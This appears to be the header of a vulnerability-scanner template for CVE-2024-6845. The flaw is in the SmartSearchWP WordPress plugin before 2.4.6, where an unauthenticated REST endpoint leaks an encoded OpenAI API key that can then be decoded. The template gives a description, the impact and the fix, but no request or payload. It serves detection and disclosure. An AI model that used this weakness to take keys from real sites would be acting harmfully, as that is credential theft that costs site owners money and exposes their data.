id: CVE-2024-6845

info:
  name: SmartSearchWP < 2.4.6 - OpenAI Key Disclosure
  author: s4e-io
  severity: medium
  description: |
    The plugin does not have proper authorization in one of its REST endpoint, allowing unauthenticated users to retrieve the encoded key and then decode it, thereby leaking the OpenAI API key.
  impact: |
    Unauthenticated attackers can retrieve and decode the OpenAI API key through an unsecured REST endpoint, potentially incurring API usage costs and data exposure.
  remediation: |
    Update SmartSearchWP plugin to version 2.4.6 or later to address the API key disclosure vulnerability.
